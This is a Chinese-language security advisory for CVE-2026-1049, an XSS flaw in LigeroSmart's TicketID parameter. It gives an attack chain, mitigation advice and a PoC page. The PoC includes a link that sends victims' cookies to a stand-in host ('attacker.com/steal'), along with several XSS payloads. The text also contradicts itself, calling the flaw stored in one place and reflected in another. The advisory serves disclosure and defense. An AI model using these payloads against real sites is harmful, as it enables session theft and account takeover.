CVE-2026-1049 LigeroSmart跨站脚本漏洞

漏洞信息

漏洞编号

CVE-2026-1049

漏洞类型

跨站脚本攻击(XSS)

CVSS评分

3.5 低危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

需要交互 (UI:R)

影响产品

LigeroSmart

漏洞概述

CVE-2026-1049是发现于LigeroSmart系统中的一个存储型跨站脚本(XSS)安全漏洞。该漏洞存在于Web应用程序的/otrs/index.pl文件中，攻击者可以通过构造恶意的TicketID参数来注入任意JavaScript代码。由于该漏洞需要用户交互才能触发，攻击者通常会诱导管理员或客服人员在查看工单时点击恶意链接，从而窃取会话Cookie、劫持用户账户或执行其他恶意操作。LigeroSmart是一款基于OTRS的开源工单管理系统，广泛应用于企业的客户服务和IT服务管理场景。该漏洞影响LigeroSmart 6.1.26及之前版本，CVSS评分3.5，属于低危漏洞。尽管评分较低，但考虑到工单系统通常处理敏感的客户信息和企业数据，漏洞仍需引起重视。

技术细节

该漏洞属于典型的反射型跨站脚本(Reflected XSS)漏洞，攻击者通过URL参数TicketID注入恶意JavaScript代码。当用户访问包含恶意payload的链接时，服务器未对用户输入进行充分的输入验证和输出编码，直接将用户可控的TicketID参数值回显到响应页面中。攻击者可以利用此漏洞构造钓鱼链接，通过社会工程学手段诱骗目标用户点击。成功利用后，攻击者可以获取用户的会话令牌，以受害者身份执行操作，或在页面中注入虚假内容。由于漏洞位于工单系统的核心文件/otrs/index.pl中，攻击者可能针对客服人员或管理员发起定向攻击，以获取更高权限的账户控制权。修复方案应对用户输入进行严格的白名单验证，并对所有输出到HTML上下文的内容进行适当的转义编码。

攻击链分析

STEP 1

侦察阶段

攻击者首先收集目标LigeroSmart系统的版本信息，确认版本是否在6.1.26及以下版本，并识别系统中使用TicketID参数的页面端点

STEP 2

Payload构造

攻击者构造恶意JavaScript代码作为TicketID参数值，常见的payload包括<script>alert(document.cookie)</script>或其他窃取会话令牌的代码

STEP 3

钓鱼链接分发

攻击者通过邮件、即时通讯或其他社交工程手段向目标用户（通常是客服人员或管理员）发送包含恶意链接的钓鱼消息

STEP 4

用户交互触发

目标用户点击恶意链接后，浏览器向服务器发送包含恶意payload的请求，服务器未进行输入验证直接将payload返回到响应页面

STEP 5

恶意代码执行

用户浏览器解析响应HTML时执行注入的JavaScript代码，攻击者可借此窃取用户Cookie、会话令牌或执行其他客户端攻击

STEP 6

账户劫持

攻击者利用窃取的会话凭证以受害者身份登录系统，可能获取敏感客户数据或提升系统权限

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- CVE-2026-1049 PoC - LigeroSmart XSS via TicketID parameter -->
<!-- Example malicious URL -->
<!-- https://target.com/otrs/index.pl?Action=AgentTicketZoom;TicketID=<script>alert(document.cookie)</script> -->

<!-- PoC for CVE-2026-1049 -->
<html>
<head>
    <title>CVE-2026-1049 PoC</title>
</head>
<body>
    <h1>CVE-2026-1049 - LigeroSmart XSS Proof of Concept</h1>
    
    <!-- Malicious Link -->
    <p>Click this link to test the XSS vulnerability:</p>
    <a href="http://target.com/otrs/index.pl?Action=AgentTicketZoom;TicketID=<script>alert('XSS漏洞验证成功');document.location='https://attacker.com/steal?cookie='+document.cookie</script>" target="_blank">查看工单</a>
    
    <!-- Direct payload examples -->
    <p>Alternative payload examples:</p>
    <ul>
        <li><script>alert(document.domain)</script></li>
        <li><img src=x onerror="alert('XSS')"></li>
        <li><svg onload="alert(document.cookie)"></svg>
    </ul>
    
    <!-- Automated test payload -->
    <script>
        // Test payload for automated scanning
        const testPayloads = [
            '<script>alert(String.fromCharCode(88,83,83))</script>',
            '" onmouseover="alert(1)" x="',
            "javascript:alert('XSS')",
            '<img src="x" onerror="alert(document.cookie)">'
        ];
        
        // Generate test URLs
        testPayloads.forEach(payload => {
            const url = `http://target.com/otrs/index.pl?Action=AgentTicketZoom;TicketID=${encodeURIComponent(payload)}`;
            console.log('Test URL:', url);
        });
    </script>
</body>
</html>

影响范围

LigeroSmart < 6.1.27

LigeroSmart 6.1.26及之前所有版本

防御指南

临时缓解措施

在官方补丁发布之前，可采取以下临时缓解措施：1)在前端部署WAF并启用XSS防护规则，拦截恶意请求；2)对所有URL参数实施严格的输入验证，拒绝包含<script>标签或JavaScript伪协议的输入；3)启用浏览器的XSS过滤器功能；4)限制用户访问/otrs/index.pl的权限，仅授权必要人员访问；5)提醒用户不要点击来源不明的链接，特别是包含可疑参数的URL；6)加强安全监控，及时发现异常访问行为。

参考链接

1 CVE https://www.cve.org/CVERecord?id=CVE-2026-1049
2 NVD https://nvd.nist.gov/vuln/detail/CVE-2026-1049
3 Details https://www.cvedetails.com/cve/CVE-2026-1049/
4 VulDB https://vuldb.com/cve/CVE-2026-1049
5 Link https://github.com/LigeroSmart/ligerosmart/
6 Link https://github.com/LigeroSmart/ligerosmart/issues/280
7 Link https://github.com/LigeroSmart/ligerosmart/issues/280#issue-3776580352
8 Link https://vuldb.com/?ctiid.341601
9 Link https://vuldb.com/?id.341601
10 Link https://vuldb.com/?submit.729402
11 Link https://vuldb.com/?submit.746919